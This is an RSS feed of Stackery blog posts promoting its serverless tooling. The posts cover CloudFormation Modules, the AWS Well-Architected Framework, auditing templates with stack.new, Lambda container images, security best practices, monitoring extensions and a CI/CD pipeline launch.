<![CDATA[Stackery RSS Feed]]>https://www.stackery.ioGatsbyJSThu, 06 Jan 2022 21:21:22 GMT<![CDATA[Stackery announces the availability of Bastion modules on the CloudFormation Public Registry]]>https://www.stackery.io/blog/public-modules-for-sharable-reusable-cloudformationhttps://www.stackery.io/blog/public-modules-for-sharable-reusable-cloudformationAWS CloudFormation Modules, now available for public use through the AWS CloudFormation Public Registry, are a huge step forward for enterprise IT teams to create large manageable Infrastructure-as-Code (IaC) practices around CloudFormation. We’re excited to support the launch today with [our own Bastion module](https://github.com/stackery/stackery-bastion-module). Unsure what Modules are? Read on.
## Why do we need CloudFormation Modules?
Adopting managed services for your business apps, like those from AWS Serverless, empowers teams to move faster with predictable, repeatable, building blocks—from storage to streaming to compute and more. These services shift so much complexity and overhead into AWS but teams still needs to understand and operate infrastructure-as-code to employ them sustainably.
Stackery’s helped hundreds of enterprise teams solve the challenges around designing and developing architectures on top of AWS CloudFormation and AWS SAM, but for the most part folks are writing templates from scratch, for every project. This presents a challenge for teams who want to research best practices, codify those in their Infrastructure-as-Code, and expect any new teammate to pick up and run with a given pattern or blueprint.
That’s been a tough problem to solve until the [introduction of AWS CloudFormation Modules](https://aws.amazon.com/blogs/mt/introducing-aws-cloudformation-modules/). These provide a first-party means to encapsulate configuration for many AWS services into a single reusable bit of CloudFormation that can be referenced as a much simpler resource-like statement in your code.
## Okay, but how do they help, really? **Your templates are suddenly more readable and maintainable.**
For example, many of Stackery’s customers stamp out a Bastion-style EC2 instance to provide secure connectivity into their VPCs in order to perform operational tasks. It’s a cookie cutter pattern used all over, and it spreads out across several resources to express an AutoScaling group, IAM Roles, Security Groups, and more.
As raw CloudFormation, that’s over 200 lines of code that need to be organized, understood, and maintained over time in every stack that needs a Bastion.
Need to bump your instance size? I hope you parameterized that data. Updating security practices in your security group? Don’t forget about VS Code’s multi-file search and replace.
## Honey, I shrunk the code
With AWS CloudFormation Modules, your organization can describe all of this in a repository dedicated to the Module, register the Module with your AWS accounts, and then use a much more coherent snippet of IaC in your application templates.
```yaml Resources: Bastion: Type: Stackery::Open::Bastion::MODULE Properties: VPCId: $VPC_ID VPCSubnets: - $Public_Subnet_ID_1 - $Public_Subnet_ID_2 - $Public_Subnet_ID_3 - ... ```
## Whoa! So what’s the punchline? You actually get to realize reusability for each critical pattern of IaC your organization is using. Further, those responsible for curating the security, cost, resiliency or other characteristics of your infrastructure only need to focus on the module repository. Consuming teams can apply versioned updates as part of their development process.
We’ve been excited about Modules since [they were announced late last year](https://aws.amazon.com/blogs/mt/introducing-aws-cloudformation-modules/) but the ability to create and share both privately within the enterprise and publicly between companies truly unlocks the potential. Over time, we look forward to refactoring Stackery’s Design Canvas to promote consumption of reusable components in addition to the best-practice scaffolding our customers enjoy today.
## How can I subscribe to your module? Organizations like Stackery can register as publishers on the CloudFormation Public Registry, then modules are registered with CloudFormation much like private resources or modules are today.
Once registered in each applicable region, public modules can be searched for, activated, and then managed with a few steps in the AWS Console. From then on, you can reference the Module in your CloudFormation templates, manage versions, and enjoy more reusable infrastructure-as-code.
  
Get started with your own example through the [AWS Docs](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/modules.html) and share what you’re working on with us through the in-app chat! <![CDATA[Understanding the AWS Well-Architected Framework]]>https://www.stackery.io/blog/well-architected-frameworkhttps://www.stackery.io/blog/well-architected-frameworkDesigning and running workloads in the cloud is complex. Many services need to fit together in just the right way for optimal performance. The opportunity for error lurks around every corner. This is a high-stakes game with a huge premium on getting things right from the beginning. Even small mistakes can snowball.
To help, AWS studied the architectures of thousands of its customers and supplemented that learning with insights from experts. That process led to the [Well-Architected Framework](https://docs.aws.amazon.com/wellarchitected/latest/framework/wellarchitected-framework.pdf), a set of principles, recommendations, and best practices for building systems in the cloud.
The AWS Well-Architected Framework includes key questions, across five pillars:
\\- Operational excellence** \\- Security** \\- Reliability** \\- Performance efficiency** \\- Cost optimization**
Your answers will reveal how closely your architecture follows cloud best practices and will identify areas for improvement. From there, the Well-Architected Framework provides guidance for improvement in any deficient areas. The framework can be used to evaluate an existing architecture or a new one.
In this article, we’ll take a closer look at the AWS Well-Architected Framework’s purpose, principles and pillars, along with tools that can expand its effectiveness.
## Purpose of the Well-Architected Framework
AWS developed the Well-Architected Framework to help teams build high-performing cloud infrastructures that are reliable, secure, efficient, and cost-effective. It can help everyone understand the tradeoffs and pros and cons that come with the dozens of intricate decisions required to build systems on AWS.
The framework can be especially helpful for teams moving to the cloud from a more traditional, on-premises, data-center background. In these cases, the Well-Architected Framework helps repay technical debt and gets everyone on the same page with a common set of cloud best practices to follow. As the gold standard for cloud guidance, it can also align the infrastructure team with other stakeholders throughout the organization, including business executives and those from security and compliance teams.
Let’s face it. There’s no shortage of things that can go wrong when building cloud-based applications on AWS. Once adopted, the Well-Architected Framework can help you proactively identify areas of weakness in your architecture and provide guidance on how to fix them before more serious consequences kick in.
## Principles and the 5 Pillars
The AWS Well-Architected Framework includes an overall set of design principles to help you build high-quality, modern cloud architectures. These principles are embedded in the five pillars, each of which also has its own unique set of principles and best practices.
### General design principles include (but not limited to):
- **Stop guessing your capacity needs**: Collect the data you need to make informed decisions, so you can avoid performance issues related to capacity constraints or overspending for unused, excess resources. - **Test systems at production scale**: Cloud computing enables you to mimic real-world conditions with production-scale test environments for a much lower cost than on-premises testing would require. - **Automate to make architectural experimentation easier**: Decrease manual processes and associated expenses through automation. - **Allow for evolutionary architectures**: In the cloud, you can make innovation standard practice by continually testing new approaches. - **Drive architectures using data**: Collect the data necessary to understand the impact and trade-offs of your architectural decisions. - **Improve through game days**: Gain experience in how to handle various situations and where you can make improvements by simulating real-world situations.
## The Five Pillars
While all the pillars are important, at times you may need to prioritize and make tradeoffs between them based on your business needs. That said, it’s usually not recommended to make any tradeoff that might deprioritize operational excellence or security.
We’ll highlight one or more design principles for each pillar, along with Stackery recommended best practices.
### Operational Excellence
This pillar focuses on improving processes and procedures so that workloads run as effectively as possible and support desired business outcomes.
**Highlighted design principle: Make frequent, small, reversible changes**
This is where innovation in the cloud comes from. Try new things. Test them out. Make continuous small improvements that turn into big wins over time. But do it in a step-by-step, iterative fashion and always with the ability to hit the undo button and revert to the previous version quickly. That way, if something goes awry, the blast radius is minimal.
**Stackery’s take:**Your system needs the ability to make, validate and maintain fast-paced, small changes without losing what was in place before. This is where continuous integration and deployment comes into play. [Learn how Stackery can help](/content/blog/deployment-pipeline-launch/index.html).
[Explore more operational excellence design principles and best practices](https://docs.aws.amazon.com/wellarchitected/latest/framework/operational-excellence.html).
### Security
Continually improve your cloud security measures to protect your data, systems, assets, and users**.**
**Highlighted design principle: Implement a strong identity foundation**
Implement strong identity controls and permissions management. Only grant least privileged access.
**Stackery's take:**Stackery can help by automatically generating tightly-scoped IAM roles between the resources you specify in our [Design Canvas](/content/blog/visualizing-CloudFormation-with-Stackery/index.html).
**Highlighted design principle:** **Enable traceability**
Gain and maintain real-time visibility of your environment. Integrate logging and track metrics, so you can be notified when issues arise.
**Stackery's take:**Enable traceability by configuring service and application logging. Stackery enables logging for many services. For example, we provide deep-links into AWS logging services like CloudWatch.
**Highlighted design principle: Protect data in transit and at rest**
Not all data types are equally critical and should be handled differently. To do so requires assigning a sensitivity level to each piece of data. Then, you’ll know when it’s necessary to use encryption, tokenization and access control.
**Stackery's take:** Stackery will enable encryption for many supported resources on our Design Canvas, including S3 buckets. Stackery can also disable public access, unless a customer expresses a need to host a public website via S3 vs. Amazon CloudFront.
[Explore more security design principles and best practices](https://docs.aws.amazon.com/wellarchitected/latest/framework/security.html).
### Reliability
Cloud workloads should perform intended functions as expected. To ensure this, workloads should be tested throughout their lifecycles.
**Highlighted design principle: Manage change in automation**
Use automation to make changes to your infrastructure, but don’t forget to manage, track and review changes to the automation itself.
**Stackery's take:**Deploy using an immutable infrastructure and implement change with automation. Predictable, repeatable, infrastructure changed through automation provides a stable platform for your apps. If you’re using a managed API service like HTTP Gateway instead of a custom EC2 instance, you can easily ensure the same API behavior across every environment you have, and changes to the API can be rolled out through a deployment, not manual clicks in the AWS Mangement Console.
[Explore more reliability design principles and best practices](https://docs.aws.amazon.com/wellarchitected/latest/framework/reliability.html).
### Performance Efficiency
Meet or surpass requirements while using computing resources as efficiently as possible, even when demand shifts or technologies change.
**Highlighted design principle: Use serverless architectures**
Serverless architectures come with many advantages, including removing the burden and cost of running and maintaining physical servers.
**Stackery's take:**When [selecting] (https://docs.aws.amazon.com/wellarchitected/latest/performance-efficiency-pillar/compute-architecture-selection.html) a compute architecture, you can offload server management to AWS while retaining a choice between containers and microservice functions. With AWS Fargate and AWS Lambda, both long-lived container-based services and short-burst function-based services can be consumed on-demand with built-in scaling controls to ensure your workload is only consuming what it needs to perform.
[Explore more performance efficiency design principles and best practices](https://docs.aws.amazon.com/wellarchitected/latest/framework/performance-efficiency.html).
### Cost Optimization Meet or exceed business objectives at the lowest possible price point.
**Highlighted design principle: Stop spending money on undifferentiated heavy lifting**
Whenever possible and it makes financial sense, offload infrastructure work that is outside your company’s core competency.
**Stackery's take:**Similar to shifting the responsibility for physical space, power, cooling, and networking to AWS for VMs, you can also offload the creation, maintenance, and operation of services from the compute, storage, database, and application layers. [Read more](https://docs.aws.amazon.com/wellarchitected/latest/cost-optimization-pillar/evaluate-cost-when-selecting-services.html)
[Managed services](https://docs.aws.amazon.com/wellarchitected/latest/cost-optimization-pillar/evaluate-cost-when-selecting-services.html) can extend these benefits, allowing you to predictably deploy and modify architectures, all within a performance and scaling profile that meets your needs. These shifts let you focus your energy and time on your customers and business. Don’t let sticker shock scare you. Using managed services often makes a lot of sense once you consider the hidden costs of operating cloud VMs or running your own data center from the ground up. As Corey Quinn often points out, [you’ll miss the forest for the trees](https://www.lastweekinaws.com/blog/4-reasons-lyft-is-smart-to-pay-aws-300m/).
Stackery makes it simple to connect managed services together and automate the deployment and management of them over any number of environments.
[Explore more cost optimization design principles and best practices](https://docs.aws.amazon.com/wellarchitected/latest/framework/cost-optimization.html).
## Tools for Evaluating Compliance with the Well-Architected Framework
Amazon offers tools to help your organization follow Well-Architected Framework best practices.
### AWS Well-Architected Tool
Free to use, the AWS Well-Architected Tool prompts you to define your workload and answer questions across the framework’s five pillars. You can complete this exercise alone or work with an AWS Solutions Architect or expert from a validated AWS Partner who will lead you through the questions and capture your answers. The tool will identify risk areas and provide a plan to shore them up. From that point, you can use milestones to track your improvements. Some companies establish internal pass-rate thresholds they must meet, such as 90 percent, before launch. This way, they have more assurance they are getting the most out of their AWS infrastructures before they go live. Sign in to the [AWS Management Console](https://aws.amazon.com/console/) to give the Well-Architected Tool a try.
### AWS Well-Architected Lenses
Lenses provide additional guidance tailored to specific industry and technology use cases.
- [Serverless lens](https://docs.aws.amazon.com/wellarchitected/latest/serverless-applications-lens/welcome.html?did=wp\_card&trk=wp\_card) - [SaaS lens](https://docs.aws.amazon.com/wellarchitected/latest/saas-lens/saas-lens.html?did=wp\_card&trk=wp\_card) - [FTR lens](https://apn-checklists.s3.amazonaws.com/foundational/partner-hosted/partner-hosted/CVLHEC5X7.html) (Foundational Technical Review) - [Machine learning lens](https://docs.aws.amazon.com/wellarchitected/latest/machine-learning-lens/welcome.html?did=wp\_card&trk=wp\_card) - [Analytics lens](https://docs.aws.amazon.com/wellarchitected/latest/analytics-lens/welcome.html?did=wp\_card&trk=wp\_card) - [HPC lens](https://docs.aws.amazon.com/wellarchitected/latest/high-performance-computing-lens/welcome.html?did=wp\_card&trk=wp\_card) (High performance computing) - [IoT lens (Internet of Things)](https://docs.aws.amazon.com/wellarchitected/latest/iot-lens/welcome.html?did=wp\_card&trk=wp\_card) - [Financial services lens](https://docs.aws.amazon.com/wellarchitected/latest/financial-services-industry-lens/welcome.html?did=wp\_card&trk=wp\_card)
Each lens includes its own questions, best practices and improvement plan. Combine the lens or lenses most applicable to your workload with the Well-Architected Framework and the Well-Architected Tool for a comprehensive evaluation.
## Using Stack.new with the Well-Architected Framework
[Stack.new](https://stack.new) is a public tool from Stackery that automatically produces [visualization and audit](/content/blog/stack-dot-new-analyze-infrastructure-code/index.html) of your Infrastructure as Code when you paste in the link to one of your AWS CloudFormation templates. Stack.new performs several checks to make sure your template is following best practices, including some based on the AWS Well-Architected Framework.
For example, [stack.new ](https://stack.new)will use the Well-Architected Framework security pillar best practices to ensure your IAM roles, policies and permissions are set up correctly. When issues are identified, stack.new provides links to learning materials that will help you fix them.
## Are Your Workloads Well-Architected?
Now, there’s nothing stopping you from designing and building best-practice-based modern, cloud architectures that are secure, resilient, efficient and cost-effective. The AWS Well-Architected Framework’s design principles, best practices and guidance provided across five key pillars gives you a clear map to find your way. You can refine your workloads even more by using the AWS Well-Architected Tool and Lenses. When you build stable and high-performing systems from the start, you’ll have more time to focus on functional requirements and development.
Before jumping into a full evaluation of your infrastructure, use stack.new for a quick visualization and audit. Just drop-in the link to one of your CloudFormation templates and stack.new will automatically check it against several best practices, so you can quickly see how you’re doing.<![CDATA[ Analyze and audit your infrastructure as code with stack.new]]>https://www.stackery.io/blog/stack-dot-new-analyze-infrastructure-codehttps://www.stackery.io/blog/stack-dot-new-analyze-infrastructure-codeDefining and managing your AWS resources using an Infrastructure-as-Code (IaC) approach implemented with CloudFormation templates makes a lot of sense. While implementing IaC is a widely accepted best practice, it does come with challenges. Managing your infrastructure from lines of code and text-file templates, in the case of AWS CloudFormation, can quickly become overwhelming. We built stack.new to ease that pain.
Stack.new is publicly available and free. It provides an automated way to visualize your infrastructure code, along with performing built-in checks to make sure your CloudFormation template follows best practices. All you need to do is drop in the link to one of your CloudFormation templates and stack.new will return a visualization and audit of your code. You can toggle from visualization to code view at any time and add or modify resources. The audit will identify issues, including those related to weakly-scoped IAM permissions, with links to related learning materials to help you solve them.
Don’t worry, if you’re not familiar with IaC. Later in the article, we provide an overview of IaC, along with a deeper dive into its benefits and potential issues.
But first, let’s take a look at an example of what stack.new can do with a CloudFormation template.
## Visualize CloudFormation templates
On the stack.new page, paste in the GitHub URL to a publicly accessible CloudFormation template, written in YAML. Stack.new then uses Stackery Design Canvas to instantly produce a visualization of your AWS infrastructure. If you want to see how things work first, we have several templates you can try out. In the screenshot below, you can see some of the templates you can choose in the View button’s dropdown list. 
For this example, we chose the serverless trivia game CloudFormation template. After selecting it from the dropdown, the following IaC visualization is automatically generated:
Diagramming your architecture in this way allows you to quickly understand the relationships between your resources and can become an indispensable planning tool. While you can access and directly edit your code at any time, the days of having to dig through it line-by-line to get a handle on things are over.
While a visual diagram of your template alone can provide a lot of value, you can do much more with stack.new. For example, you can double-click on a resource to see its configuration and what other resources are grouped with it. Here are the resources grouped under IdentityPool in the serverless trivia game template we chose above:
Some resources include the option to be modified directly from the visualization. For example, the `MoneyAdjustFunction` resource, in the serverless trivia game template, has a dropdown menu and checkbox options.
Caption: The MoneyAdjustFunction resource, in the aws-samples/serverless-trivia-game template, can be modified in the visualization
You can also add new resources to your template by dragging-and-dropping them onto your canvas. Just click the “+ Add Resource button” to get a menu of possible resources you can add.
## Audit IAM roles
Stack.new also performs an audit to validate CloudFormation templates, checking to see how well they hold up against best practices. One important assessment stack.new performs concerns IAM roles. Stack.new evaluates what actions each resource can take with other resources to ensure IAM roles are tightly scoped and don’t have overly broad permissions.
Stack.new identifies the problematic code and provides links to resources to help you solve each issue.
**We’ve been pleased to hear from several developers who are already using stack.new to not only uncover issues, but to also iteratively test and refine their code until problem areas are knocked out.**
How do they do it? After stack.new hones in on an issue, the developers research a new approach and run the template again. If the issue is still there or new ones pop up after the change, they continue this process until everything passes the stack.new audit.
As you work to get to the bottom of things, you can always view and directly edit the code by using the Template Code area of stack.new’s Reference Information section. 
## Perform security and encryption checks
In addition to the security checks related to IAM roles, stack.new also runs encryption checks. In the following screenshot, the report identifies a missing KMS key which is used to manage encryption configured within CloudFormation templates.
Stack.new also checks encryption configuration for relevant resources like S3, EFS and others. In the example below, the audit reveals that the S3 bucket should have an encryption option set.
## Understanding Infrastructure as Code
We’ve focused on how visualization, audits and resources provided by stack.new can help you gain a better understanding of and improve Infrastructure-as-Code CloudFormation templates. Now, let’s take a closer look at what IaC actually is, along with some of its benefits and drawbacks.
It turns out the name, Infrastructure as Code, is very explanatory. With IaC, you use code to define your infrastructure and the resources needed. AWS CloudFormation calls for IaC code to be written in YAML or JSON and delivered in text-file templates.
Defining your infrastructure with code allows the provisioning process to be automated. It also enables the consistent creation and maintenance of many infrastructure environments. Setting up your entire infrastructure now comes down to executing a script (or executing an API call in the case of CloudFormation).
IaC removes the process of manually building your infrastructure and provisioning resources using the AWS management console or CLI. This speeds things up, while reducing human error, risk and costs. It also makes keeping a wiki up to date unnecessary. Everything is automatically documented in the code. This means you can implement versioning and more easily track infrastructure changes. You’ll have an always current, step-by-step blueprint outlining how to set up your infrastructure. Using IaC templates also makes it much easier to start the process of building similar infrastructures in new environments or geographical regions. Planning, deploying and scaling applications becomes simpler and easier to manage with IaC.
IaC templates democratize infrastructure knowledge across the organization, along with providing a convenient way to review and consistently implement policies. For example, ensuring that an organization’s IAM policies are consistently applied would be much easier by including approved code in all relevant IaC templates. IaC gets everyone on the same page, reducing the risk associated with only a few experts having a full understanding of the company’s infrastructure. What if those experts leave? With IaC, the instructions are left behind. This also helps new employees get up to speed fast. And the increased visibility brings teams that otherwise might have been siloed closer together. Developers, operations and IT can now more efficiently work together, using code as their common language. Those teams can boost the quality of their IaC even further by using a git-based peer-review process, with a repository like GitHub, BitBucket, GitLab or AWS CodeCommit.
While planning and managing your infrastructure with code is clearly a better option than the manual approach, IaC comes with some of its own complexity. As your infrastructure grows, so will the lines of code written to define it and the templates created to manage it. This can present an information management challenge. It can also be difficult to know if the code written meets best practice standards or will deploy correctly. And, in the case of CloudFormation, there’s a lot to learn and its templates can be hard to follow. We built stack.new so you can enjoy IaC’s benefits and successfully use it with CloudFormation, while avoiding these shortcomings.
## How Stack.new can help
Within seconds of providing a link to your IaC-based CloudFormation template, Stack.new will generate a visualization, perform an audit against best practices and provide related materials that can help you solve any identified issues.
CloudFormation IaC is very nuanced, with a lot to learn. You and your team can make sense of complex code and get on the same page much faster with stack.new visualizations of your CloudFormation templates. You can add and remove resources using Stackery’s drag-and-drop Design Canvas then see how the code was modified with a single click. This is a great way to learn IaC, the ins-and-outs of CloudFormation and to rapidly level up skills. Once you have a Stackery account, these visualizations can serve as the go-to documentation and source of truth for your team.
Stack.new also helps improve your IaC by conducting an analysis of your AWS CloudFormation template to see how well it compares to best practices, including several from the [AWS Well-Architected Framework](https://aws.amazon.com/blogs/apn/the-5-pillars-of-the-aws-well-architected-framework). Stackery uses tools like Stelligent's cfn_nag and AWS CloudFormation Guard, in combination with custom logic, to check against numerous rules. It then provides an audit report with identified issues, along with links to recommended learning resources to help solve them. It’s a fast and painless way to audit CloudFormation templates.
In a perfect world, everyone on the team would be up to speed on IaC best practices and organizational policies and would always write flawless code reflecting both. But the real world is messy. Familiarity with particular tools is sure to vary and it's hard to onboard newcomers to a large codebase of YAML. Stackery's bidirectional code editor and infrastructure visualizer, reinforced by audits, helps balance the needs of broad team understanding and onboarding with the versioning, peer-review, and repeatability strengths of Infrastructure as Code. In fact, we’ve seen many customers onboard their whole team exclusively through Stackery’s visual editor, learning the details of CloudFormation IaC only after they’ve had hands-on practice with particular AWS infrastructure resources.
## What’s next for stack.new?
We’re just getting started with stack.new. Here are some of the things we’re working on:
- Adding as many automated checks as possible to the CloudFormation template auditing process. - Making it easier to rapidly iterate on a given template, so you can audit, learn, and improve it faster. - Building out the collection of sample templates, so there will be something in place to get you started in just about any situation. - Adding a report to let you know if the template you submit could be deployed successfully and how long it would take. We also hope to provide information about the necessary parameter data needed for successful deployment, along with information by region. For example, if an AWS region lacks the features the template being tested needs to function it would be flagged.
The bottom line? We want to make stack.new as helpful as possible to your IaC CloudFormation development process. So please give it a try and [let us know your ideas](https://airtable.com/shrpnWLSLvMVGvDkL) to make it even better.
Try out [stack.new](http://stack.new/) with your own template or one of ours to see sample visualizations and audits.<![CDATA[AWS Lambda Meets Container Images]]>https://www.stackery.io/blog/launch-aws-container-imageshttps://www.stackery.io/blog/launch-aws-container-images\## **AWS Lambda Meets Container Images**
Serverless architectures are all about offloading as much operational overhead to the cloud as possible. For the past six years, this primarily meant writing business logic as small pieces of code (< 250MB in size) that are zipped up and given to the cloud to run on demand.
This simple model deceptively belies the true power of serverless applications. Because modern applications are often composed of a set of small microservices, each compute resource can itself be minimal in size. Companies from startups to multinational banks are building and refactoring apps to serverless models.
However, adopting serverless means adopting lots of changes to engineering processes. This can be a significant point of friction that prevents organizations from jumping on the serverless bandwagon. To grow the success of a new technology, there needs to be an easy path to transition to it.
## **Enter container image support for AWS Lambda Functions**
You may work at an engineering organization that has a lot of mature processes for container-based applications. There may be standardization where every application is packaged into a container image that is then sent through various tools and services to be scanned for vulnerabilities and then deposited into safe Container Image repositories.
If you wanted to adopt serverless in these organizations you'll often face a gantlet of cultural skepticism that is borne of the pain caused by the adoption of container-based applications only a few short years earlier. Adopting a new technology that affects the entire build toolchain is not trivial. Security scanning tools built for Container Images don't work for AWS Lambda zip packages, as one simple example.
But what if you could get the best of both worlds? What if you could keep your Container Image toolchain but adopt Lambda Functions for runtime? This is what is possible today with Container Images for Lambda Functions! You can publish Container Images to an AWS ECR Repository (or sync them over from your existing third-party repository) and tell Lambda to run the image.
🚧 Note: Before you get too excited about the possibility of taking existing Container Images and running them unmodified, see the caveat below.
## **But wait! There's more...**
On top of the ability for Lambda to run functions packaged as container images, Lambda also will be able to execute images up to 10 GB in size (up from 250 MB for zip packages). This greatly increases the capabilities for Lambda to run workloads of any kind, including machine learning applications that need a lot of seed data.
## **How do I package my Lambda function as a container image?**
Here at Stackery our goal is to help your engineering organization adopt serverless using best practices formed around the AWS Well-Architected Framework. We're excited to be a launch partner for Container Image support for AWS Lambda. You can use Container Images in two ways with Stackery.
## **Using existing AWS ECR Repositories**
You may already have a sophisticated toolchain for building and publishing Docker Images. If you publish or sync these images to an AWS ECR repository you can configure Lambda Functions within Stackery to use the images from this repository directly.
With Stackery's built-in environment management, you can also easily parameterize the ECR repo to use different images for production, staging, and dev/test/qa environments.
## **Building Images**
If you don't already have a mature toolchain for building Container Images but want the benefits they can provide (e.g. the larger image size), Stackery will scaffold a directory for your image sources inside your repository, add an AWS ECR Repository to your stack, and add an AWS CodeBuild Project to build the image for you on every deployment[gif]This will get you up and running with a function packaged as container image in no time!
## **An Important Caveat**
One thing that is bound to happen when people hear "AWS Lambda" and "Containers" in the same sentence is the idea that you can run existing, unmodified HTTP (or otherwise) container-based applications as services via Lambda. This isn't true.
This important launch enables the use of existing Container Image tooling for building and packaging Lambda Functions, but the Functions will still need an entrypoint that receives a Lambda Event and returns and appropriate response before being put to sleep.
However, if you do want to run container-based services in a well-architected fashion without the challenges of creating and maintaining complex Kubernetes infrastructure, [let Stackery help you set up services using AWS ECS Fargate](/content/sign-up/index.html). No matter how you need to build your architecture, Stackery has you covered. 😃<![CDATA[Strengthening Your Security Posture]]>https://www.stackery.io/blog/best-practices-for-evolving-serverless-applicationshttps://www.stackery.io/blog/best-practices-for-evolving-serverless-applicationsEnterprises taking advantage of modern security practices (think moving target defense, granular least privileged access/execution of services) are moving **from dedicated instances** to **serverless architectures.** Thus, they rely on modern managed services e.g., functions-as-a-service, managed databases, API gateways, pub/sub and queueing systems, etc.
It’s the progress of security practices like this that caught my ear in this final week of re:Invent. In particular, [Benjamin Smith](https://twitter.com/benjamin\_l\_s)’s talk highlighted common security challenges and how to successfully navigate them.
Smith's [presentation](https://virtual.awsevents.com/media/0\_rzvr6mcf) looked at challenges associated with a growing serverless application. His insights around the “Lambda-lith”, mono-repos, and managing multiple AWS accounts are worth checking out, but in **this post I summarize my favorite section of his talk around enforcing security best practices:**
1. Moving from castle & moat to zero trust. 2. Using permission boundaries to limit the scope of a function’s execution role. 3. Monitoring; keys, secrets & Parameters; and, business-approved code libraries.
## Moving from castle & moat to zero trust
Smith highlighted an important shift required to modernize enterprise security—moving from a castle & moat approach to a zero trust approach. Castle & moat refers to "protecting network perimeters with firewalls, proxy servers, honeypots, and other intrusion prevention tools".
In a modern serverless architecture Smith recommends individually protecting each resource and enforcing strict verification of the users, services, and resources that can interact with each resource.
We see this show up commonly as customers use [Stackery](/content/site-root.html) to ensure—rather than simply *trying* to use—least privileged access between resources.
## Using permission boundaries to limit the scope of a function’s execution role
Smith then turned to looking at effective permissions: the overlap of application permission boundaries defined by an admin, with a function's execution role. This highlights how "execution permissions can be limited by the application's permission boundaries".
The slide below does a great job articulating how permission boundaries can limit functions, and importantly, how function permission that breach those boundaries are not authorized.
## Monitoring; keys, secrets & Parameters; and, business-approved code libraries
AWS has a vast library of modern managed services that help companies take advantage of the latest, proven technologies—without the burden of the overhead. Smith summarized a few key capabilities that AWS provides to help ensure a strong security posture.
AWS and their partner ecosystem provide a host of options for continually monitoring a zero trust ecosystem.
Smith touched on the importance of managing secrets and parameters, highlighting best practices that include storing secrets in order to have a single source of truth, enabling an automated and scheduled rotation, and auditing access.
[Stackery helps customers](https://docs.stackery.io/docs/using-stackery/environment-secrets) with secrets and parameters, in that secrets and parameters can be abstracted from the resources and applied automatically and securely across environments.
Finally, Smith discussed the value of approved code libraries. This is an emerging area that we are excited to work with AWS to further best practices that go beyond Lambda Layers.
## Summary
Though serverless offloads much of the infrastructure, operational, and security concerns to your cloud provider, you still have to keep up with the latest best practices for the portions of the application and infrastructure that you do control. Smith does a great job highlighting common challenges, including how to progress your security posture to take advantage of the best of the cloud. Be sure to watch his whole session when it's available on-demand.<![CDATA[Automating Monitoring Partners]]>https://www.stackery.io/blog/automating-monitoring-partnershttps://www.stackery.io/blog/automating-monitoring-partnersWe are excited to announce a new integration to help developers add partner solutions to their serverless applications. AWS recently released [Lambda Extensions](https://aws.amazon.com/blogs/compute/introducing-aws-lambda-extensions-in-preview/) to allow Lambda to augment the Function invocation lifecycle.
Extensions from AWS, AWS Lambda Ready partners, and open source projects are useful for a wide range of use cases. For example, Extensions simplify a development workflow by automatically instrumenting Lambda functions or deploying operational tools without needing code changes. Extensions also improve performance of your functions by pre-fetching configuration and secrets before the function handler is executed, or send telemetry to a custom destination outside of the function invocation.
Stackery, in support of this new functionality, upgrade our existing integration with [Epsagon](https://epsagon.com/), and added new integrations with [New Relic](https://newrelic.com/), [Lumigo](https://lumigo.io/), and [Thundra](https://www.thundra.io/) to automate the implementation of monitoring best practices and ensure every function deployed through Stackery is instrumented with the chosen provider. Check out our [docs](https://docs.stackery.io/docs/using-stackery/dashboard/#integrations) for more info.
## AWS Lambda Extensions API
Extensions are a new way for tools to more easily integrate deeply into the Lambda execution environment to control and participate in Lambda’s lifecycle. They use the Extensions API, a new HTTP interface, to register for lifecycle events and get greater control during function initialization, invocation, and shutdown. They can also use environment variables to add options and tools to the runtime, or use wrapper scripts to customize the runtime startup behavior.
In particular, Extensions can be used to simplify the routing of data to reduce telemetry latency and costs.
### **Old Pattern**
 - Data sent to CloudWatch to log metrics Data was delayed due to routing - Pay per metric - Cumbersome process for connecting with individual monitor providers
### **New Pattern**
 - Data sent directly to monitoring partners Higher quality of metrics - Faster time-to-data - More complete picture - Lower TCO
However, there is one additional step in this workflow: every Lambda Function needs to include the extension — enter Stackery.
Stackery’s integration with extension partners ensures consistency and automates configuration of all your Lambda Functions. Instead of having to remember to add extensions to every function Stackery does it for you. And even more than that, Stackery will always deploy your functions with the latest version of your monitoring provider’s extension.
As the Ecosystem Director, I am always looking for ways to work with partners to help our customers. With the new extension, Stackery customers like Masterstream easily integrate with all of their monitoring solutions, ensuring all of their functions are properly set up for the monitoring they need to keep critical apps performing.
> "Stackery and Epsagon make it so easy to see the complete picture of our serverless operations. Epsagon’s real time monitoring help us identify issues and quickly respond. And with Stackery, we never have to worry about implementation of best practices or the latest versions. My team of engineers can focus on building and fixing our application and not worry about repeating the same set of tasks every time."
> Matthew Witt, VP of Engineering
At Stackery, we simply love to make serverless development easier and more scalable for developers and organizations. We add value by automating the implementation of monitoring best practices into every Lambda function to save developers a little time and improve the quality of the integration. Integrating with AWS and monitoring partners is core to our goal of simplifying serverless to make happier developers.
Curious to learn more? [Schedule a demo](https://hs.stackery.io/demo-request-base) with our CTO and co-founder. <![CDATA[Dangers of Console-Driven Development]]>https://www.stackery.io/blog/dangers-of-console-driven-developmenthttps://www.stackery.io/blog/dangers-of-console-driven-development<![CDATA[Deployment Pipeline Launch]]>https://www.stackery.io/blog/deployment-pipeline-launchhttps://www.stackery.io/blog/deployment-pipeline-launch\# Deployment Pipeline Launches
Deploying a stack into AWS is at the core of what Stackery helps you do. So much so that Stackery users deployed over 10,000 times last month! For the most part, this has been a manually executed process in our Web UI or command-line client. As teams grow and take on more work, fast and consistent deployments are key to scaling effectively.
That’s why we’ve been working this year on continuous integration and deployment (CI/CD) features, tailor-built for serverless applications. It’s available right now in every Stackery account. Set it up in the new [Deployments UI](https://docs.stackery.io/docs/using-stackery/dashboard/#deployment-pipeline).
 Our aim is to save you from duct-taping commodity CI/CD solutions into serverless by providing a truly turn-key pipeline that knows about your serverless infrastructure and executes the tests you ship alongside your infrastructure template.
Stackery now includes:
- Automatic ephemeral stacks managed as part of the Git peer-review process - Additional ephemeral stacks managed for your provided test suite e.g. `npm test` - Execution of tests & open-source vulnerability checks within your own CodeBuild infrastructure, with stack metadata provided to the build environment - Automatic or manual promotion of changes after merge / on commit through several Stackery environments
We built all this to save you time, help you accelerate development within your team, and just worry about fewer things.
